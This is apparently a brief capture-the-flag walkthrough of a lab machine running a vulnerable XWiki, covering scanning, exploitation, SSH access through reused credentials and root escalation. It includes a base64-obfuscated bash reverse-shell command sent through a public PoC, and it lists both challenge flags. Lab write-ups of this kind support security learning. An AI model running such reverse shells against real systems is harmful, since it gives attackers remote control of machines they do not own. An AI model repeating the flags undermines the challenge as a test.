Editor¶
Initial Scan¶
Port 22 is SSH, port 80 is HTTP.
Enumeration¶
The web server hosts XWiki. The application is vulnerable to CVE-2025-24893, a server-side template injection that leads to remote code execution.
Exploitation¶
XWiki RCE (CVE-2025-24893)¶
Using the PoC:
Verify code execution. Then deploy a reverse shell:
python CVE-2025-24893-PoC.py -u http://wiki.editor.htb/xwiki -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNy80NDQ0IDA+JjEK | base64 -d | bash'
Credential Discovery¶
XWiki configuration files contain credentials:
SSH as oliver¶
The MySQL password is reused for SSH:
Privilege Escalation¶
CVE-2024-32019¶
Using CVE-2024-32019 PoC, we escalate to root.
Flags¶
user.txt: 00dea7f8ab41fd7b5a7fce0cf93641ba root.txt: 4ec55823c45e1f8131e1709d2a12c77f